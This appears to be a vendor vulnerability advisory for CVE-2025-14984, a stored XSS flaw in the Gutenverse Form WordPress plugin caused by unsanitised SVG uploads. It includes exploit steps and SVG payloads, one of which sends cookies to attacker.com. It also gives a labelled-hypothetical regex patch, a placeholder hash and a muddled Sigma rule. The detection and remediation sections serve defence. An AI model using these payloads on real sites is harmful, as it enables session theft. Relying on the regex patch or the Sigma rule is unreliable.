CVE-2025-14984
Executive Summary
CVE-2025-14984 is a Stored Cross-Site Scripting (XSS) vulnerability in the Gutenverse Form plugin for WordPress, affecting all versions up to and including 2.3.2. The vulnerability arises because the plugin's framework component adds SVG to the allowed MIME types via the upload_mimes filter without implementing any sanitization of SVG file contents. This allows authenticated attackers with Author-level access or higher to upload malicious SVG files containing JavaScript. When the file is viewed, the JavaScript executes in the victim's browser, leading to arbitrary JavaScript execution. This is a WordPress ecosystem issue, not related to Apache or Nginx.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the WordPress plugin ecosystem. The Gutenverse Form plugin is distributed via the WordPress plugin repository. Users should verify they are not using a compromised version of the plugin from unofficial sources. No NPM, PyPI, Go, or Ruby packages are involved.
CVSS Breakdown & Threat Level
- CVSS Score: 6.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Author-level)
- User Interaction: Required (victim must view the SVG)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
Threat Level: Medium. The vulnerability requires authenticated access with Author-level privileges, but the impact is limited to low confidentiality, integrity, and availability impacts. However, the potential for arbitrary JavaScript execution could be leveraged for more severe attacks.
Deep Dive & Mechanics
The vulnerability is in the Gutenverse Form plugin's handling of file uploads. The plugin uses the upload_mimes filter to add SVG as an allowed MIME type. However, it fails to sanitize the contents of uploaded SVG files. SVG files can contain embedded JavaScript via <script> tags or event handlers like onload. When a user views the SVG file (e.g., via a direct link or embedded in a page), the JavaScript executes in the context of the victim's browser.
Attack Flow:
- An authenticated attacker with Author-level access uploads a malicious SVG file via the Gutenverse Form's file upload feature.
- The SVG file contains JavaScript payload (e.g.,
<script>alert('XSS')</script>). - The plugin stores the file without sanitization.
- When an administrator or other user views the SVG file (e.g., by visiting the media library or a page displaying the uploaded file), the JavaScript executes.
- The attacker can steal cookies, redirect users, or perform other malicious actions.
Vulnerable vs. Patched Code
Vulnerable Code (in plugin's framework component):
add_filter('upload_mimes', function($mimes) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
});
This code adds SVG to allowed MIME types but does not sanitize the file contents.
Patched Code (hypothetical):
add_filter('upload_mimes', function($mimes) {
$mimes['svg'] = 'image/svg+xml';
return $mimes;
});
add_filter('wp_handle_upload_prefilter', function($file) {
if ($file['type'] === 'image/svg+xml') {
$content = file_get_contents($file['tmp_name']);
// Remove script tags and event handlers
$content = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $content);
$content = preg_replace('/\bon\w+\s*=\s*["\'][^"\']*["\']/i', '', $content);
file_put_contents($file['tmp_name'], $content);
}
return $file;
});
The patched code sanitizes SVG files by removing script tags and event handlers before storing.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Gutenverse Form plugin version <= 2.3.2
- Authenticated user with Author-level access or higher
Exploit Steps:
- Create a malicious SVG file (e.g.,
payload.svg):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
alert('XSS');
</script>
</svg>
- Log in to WordPress as an Author.
- Navigate to the Gutenverse Form's file upload feature (e.g., via a form or media upload).
- Upload
payload.svg. - Obtain the URL of the uploaded SVG file (e.g.,
https://target.com/wp-content/uploads/2025/03/payload.svg). - Send the link to an administrator or other user. When they view the SVG, the JavaScript executes.
Advanced Payload (cookie theft):
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<script type="text/javascript">
document.location='https://attacker.com/steal.php?cookie='+document.cookie;
</script>
</svg>
Blue Team (Detection & Response)
Detection:
- Monitor file uploads for SVG files with suspicious content (e.g.,
<script>tags). - Use WAF rules to block SVG files containing JavaScript.
- Implement file content scanning for uploaded files.
Response:
- If a malicious SVG is detected, remove it from the server.
- Revoke the uploading user's privileges.
- Scan for other malicious uploads.
- Apply the patch or disable SVG uploads.
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(example, replace with actual)
- File Paths:
/wp-content/uploads/*.svg
- Network Traffic:
- Outbound requests to attacker-controlled domains from SVG files.
- Log Entries:
- WordPress debug logs showing
upload_mimesfilter usage. - Access logs showing requests to SVG files with
Refererfrom admin pages.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2025_14984_SVG_XSS {
meta:
description = "Detects malicious SVG files exploiting CVE-2025-14984"
author = "Valters IT"
date = "2025-03-20"
reference = "CVE-2025-14984"
strings:
$svg_header = "<?xml" nocase
$svg_tag = "<svg" nocase
$script_tag = "<script" nocase
$on_event = /\bon\w+\s*=/ nocase
condition:
$svg_header and $svg_tag and ($script_tag or $on_event)
}
Sigma Rule
title: CVE-2025-14984 - Malicious SVG Upload via Gutenverse Form
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing JavaScript via Gutenverse Form plugin
author: Valters IT
date: 2025-03-20
logsource:
category: file_event
product: windows
detection:
selection:
Image|endswith: '\wp-content\uploads\'
TargetFilename|endswith: '.svg'
condition: selection
falsepositives:
- Legitimate SVG files without JavaScript
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-14984 - Malicious SVG Upload"; flow:to_server,established; content:"POST"; http_method; content:"/wp-content/uploads/"; http_uri; content:".svg"; http_uri; content:"<script"; file_data; classtype:web-application-attack; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable SVG uploads in the Gutenverse Form plugin until a patch is available.
- Remove the
upload_mimesfilter that adds SVG support, or add sanitization logic. - Review all uploaded SVG files for malicious content and remove any suspicious files.
Long-term Fix:
- Apply the official patch from the plugin vendor when released.
- Implement server-side SVG sanitization using libraries like
svg-sanitizer. - Use a Web Application Firewall (WAF) to block malicious SVG uploads.
Workarounds:
- Restrict file upload permissions to only trusted users.
- Use a security plugin that scans uploaded files for malware.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.